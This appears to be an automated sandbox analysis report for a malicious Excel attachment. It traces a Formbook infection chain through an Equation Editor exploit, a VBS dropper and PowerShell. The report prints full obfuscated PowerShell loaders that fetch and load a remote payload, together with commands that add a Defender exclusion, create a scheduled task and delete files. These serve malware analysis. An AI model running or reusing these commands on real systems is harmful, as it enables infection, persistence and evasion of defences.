Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: powershell.exe PID: 2660, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 1368, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: aspnet_regbrowsers.exe PID: 2452, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: aspnet_regbrowsers.exe PID: 3760, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: mstsc.exe PID: 4060, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6035E009.doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords[1].doc, type: DROPPED	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.

Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, DyZNpLnfd9hpvhcF8H.cs	Security API names: _0020.SetAccessControl
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, DyZNpLnfd9hpvhcF8H.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, DyZNpLnfd9hpvhcF8H.cs	Security API names: _0020.AddAccessRule
Source: 17.2.aspnet_regbrowsers.exe.49a0000.6.raw.unpack, ImBC8bCfH7H4rWrIxE.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@536/37@18/3

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_0092BC3B memset,memset,??2@YAPAXI@Z,CreateThread,GetLastError,CloseHandle,LoadStringW,LoadStringW,FormatMessageW,LoadStringW,MessageBoxW,LocalFree,

27_2_0092BC3B

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_0091B92E CoCreateInstance,

27_2_0091B92E

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_008E2890 LoadLibraryExW,FindResourceExW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,

27_2_008E2890

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\FC830000

Source: C:\Users\user\AppData\Roaming\niLILOT.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR9A5B.tmp

Source: PO.78NO9.xls	OLE indicator, Workbook stream: true
Source: FC830000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wegivenewthingssoonsweetnes.vbS"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X............... ..........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X...............3..........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X...............@..........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n...............X...............R..........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..............._..........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.........r..........................s............X....... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X...............~..........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s............X.......$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............X.......2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X..........................................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............X...............+..........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............X...............7..........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................................8.......(.P.....................<...............................................................................
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ........................................(.P.............................d.........................................................0.......0.....
Source: C:\Windows\SysWOW64\cmd.exe	Console Write: ......................0.........A.c.c.e.s.s. .i.s. .d.e.n.i.e.d.........P$.s..............0.....................x.......&.................0.....

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE [dbo].[Customers] SET [C_Fname] = @C_Fname, [C_Lname] = @C_Lname, [C_address] = @C_address, [C_City] = @C_City, [C_Country] = @C_Country, [C_datemodifay] = @C_datemodifay WHERE (([C_id] = @Original_C_id) AND ([C_Fname] = @Original_C_Fname) AND ([C_Lname] = @Original_C_Lname) AND ([C_City] = @Original_C_City) AND ([C_Country] = @Original_C_Country) AND ((@IsNull_C_datemodifay = 1 AND [C_datemodifay] IS NULL) OR ([C_datemodifay] = @Original_C_datemodifay)));
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INSERT INTO [dbo].[Product] ([Product_name], [p_modifaydate]) VALUES (@Product_name, @p_modifaydate);
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INSERT INTO [dbo].[Orders] ([C_id], [order_date], [sheeped_date], [O_maodifaydate]) VALUES (@C_id, @order_date, @sheeped_date, @O_maodifaydate);
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE [dbo].[Users] SET [UserName] = @UserName, [Password] = @Password WHERE (([UserName] = @Original_UserName) AND ([Password] = @Original_Password));
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: INSERT INTO [dbo].[Jurnal] ([Date], [Operation], [Table_name], [Old_values], [New_values]) VALUES (@Date, @Operation, @Table_name, @Old_values, @New_values);
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE [dbo].[Orders] SET [C_id] = @C_id, [order_date] = @order_date, [sheeped_date] = @sheeped_date, [O_maodifaydate] = @O_maodifaydate WHERE (([Order_id] = @Original_Order_id) AND ([C_id] = @Original_C_id) AND ([order_date] = @Original_order_date) AND ([sheeped_date] = @Original_sheeped_date) AND ((@IsNull_O_maodifaydate = 1 AND [O_maodifaydate] IS NULL) OR ([O_maodifaydate] = @Original_O_maodifaydate)));
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE [dbo].[Jurnal] SET [Date] = @Date, [Operation] = @Operation, [Table_name] = @Table_name, [Old_values] = @Old_values, [New_values] = @New_values WHERE (([Date] = @Original_Date) AND ([Operation] = @Original_Operation) AND ([Table_name] = @Original_Table_name));
Source: powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: UPDATE [dbo].[Product] SET [Product_name] = @Product_name, [p_modifaydate] = @p_modifaydate WHERE (([Product_id] = @Original_Product_id) AND ([Product_name] = @Original_Product_name) AND ((@IsNull_p_modifaydate = 1 AND [p_modifaydate] IS NULL) OR ([p_modifaydate] = @Original_p_modifaydate)));

Source: PO.78NO9.xls

Virustotal: Detection: 16%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wegivenewthingssoonsweetnes.vbS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\niLILOT.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\niLILOT" /XML "C:\Users\user\AppData\Local\Temp\tmpB50D.tmp"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {6F06CFDC-8B46-4289-9A59-403AE8C9352A} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\niLILOT.exe C:\Users\user\AppData\Roaming\niLILOT.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wegivenewthingssoonsweetnes.vbS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SU5WT0tFLWVYcFJFU1NJT04oICgnYycrJ0YxdXJsID0gJysnZlgnKydoaHR0cHM6Ly9yYScrJ3cnKycuZ2l0aHViJysndXNlcmNvbnRlJysnbnQuY28nKydtL05vJysnRGV0ZScrJ2MnKyd0T24vTm8nKydEZXRlY3RPbicrJy9yZWZzL2hlYWRzL21haW4nKycvRGV0YWhOJysnb3RoLVYuJysndHh0ZicrJ1gnKydoJysnOyBjRicrJzEnKydiYXMnKydlJysnNjRDb250JysnZW50JysnID0nKycgJysnKE5ldy0nKydPYmplY3QgJysnU3lzdCcrJ2UnKydtLicrJ04nKydldC5XZWJDJysnbGknKydlbicrJ3QpJysnLkRvd25sb2FkU3RyaW4nKydnKGNGMXVybCk7JysnIGNGJysnMWJpJysnbicrJ2EnKydyeUMnKydvbnRlbnQgPSBbU3knKydzdGVtLkMnKydvbicrJ3YnKydlJysncnQnKyddJysnOjpGcm8nKydtQmFzZTY0U3RyJysnaW5nKGNGMWJhc2U2NENvJysnbnRlJysnbnQpOyBjRjEnKydhJysnc3NlbWJseSA9IFtSJysnZWZsZWN0aScrJ29uLkFzcycrJ2VtYmx5JysnXTonKyc6TG9hZChjRicrJzFiaW5hcnknKydDb250ZW50KTsgJysnWycrJ2RubGliLklPLkhvbWVdOjpWQUkocE5BdCcrJ3gnKyd0LlJFUkMnKydDUi8zMzMvODIuMTQuJysnMDQyLjgzLy86cHR0aHBOQSwgcE4nKydBZGVzYScrJ3RpdmFkb3BOQSwgcE5BZGVzYXRpJysndmFkb3AnKydOQSwnKycgcE5BZCcrJ2VzYXRpdmFkb3BOQSwgcE5BYScrJ3NwbmV0X3InKydlZ2Jyb3dzZXJzcE5BLCBwTkFwJysnTkEnKycscE5BcCcrJ05BKScpLnJlUGxhQ2UoJ2ZYaCcsW1NUcmluR11bQ2hhcl0zOSkucmVQbGFDZSgoW0NoYXJdOTkrW0NoYXJdNzArW0NoYXJdNDkpLFtTVHJpbkddW0NoYXJdMzYpLnJlUGxhQ2UoKFtDaGFyXTExMitbQ2hhcl03OCtbQ2hhcl02NSksW1NUcmluR11bQ2hhcl0zNCkp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\niLILOT.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\niLILOT" /XML "C:\Users\user\AppData\Local\Temp\tmpB50D.tmp"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\mstsc.exe "C:\Windows\SysWOW64\mstsc.exe"
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\niLILOT.exe C:\Users\user\AppData\Roaming\niLILOT.exe
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
